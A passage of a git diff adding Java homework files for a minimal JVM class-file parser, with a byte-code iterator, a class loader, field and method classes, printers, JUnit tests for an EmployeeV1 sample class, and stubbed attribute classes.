+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/loader/ByteCodeIterator.java b/group24/Homework/7-SevenWeek/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..6fb5570dff
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/loader/ClassFileLoader.java b/group24/Homework/7-SevenWeek/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..33185d8175
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/loader/ClassFileParser.java b/group24/Homework/7-SevenWeek/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..a29d9572cd
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/loader/ClassFileParser.java
@@ -0,0 +1,62 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+		
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		return null;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+		
+
+	}
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/method/Method.java b/group24/Homework/7-SevenWeek/jvm/method/Method.java
new file mode 100644
index 0000000000..b86c57ef90
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/method/Method.java
@@ -0,0 +1,80 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/print/ClassFilePrinter.java b/group24/Homework/7-SevenWeek/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..14407bacbe
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/print/ConstantPoolPrinter.java b/group24/Homework/7-SevenWeek/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..028161adc7
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/test/ClassFileloaderTest.java b/group24/Homework/7-SevenWeek/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..5657310e0d
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,354 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/test/EmployeeV1.java b/group24/Homework/7-SevenWeek/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/util/Util.java b/group24/Homework/7-SevenWeek/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group24/Homework/8-EighthWeek/attr/AttributeInfo.java b/group24/Homework/8-EighthWeek/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group24/Homework/8-EighthWeek/attr/CodeAttr.java b/group24/Homework/8-EighthWeek/attr/CodeAttr.java
new file mode 100644
index 0000000000..c4c0c4c6c5
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/attr/CodeAttr.java
@@ -0,0 +1,70 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group24/Homework/8-EighthWeek/attr/LineNumberTable.java b/group24/Homework/8-EighthWeek/attr/LineNumberTable.java
new file mode 100644
index 0000000000..a31a1ff4d0
--- /dev/null
+++ b/group24/Homework/8-EighthWeek/attr/LineNumberTable.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group24/Homework/8-EighthWeek/attr/LocalVariableItem.java b/group24/Homework/8-EighthWeek/attr/LocalVariableItem.java
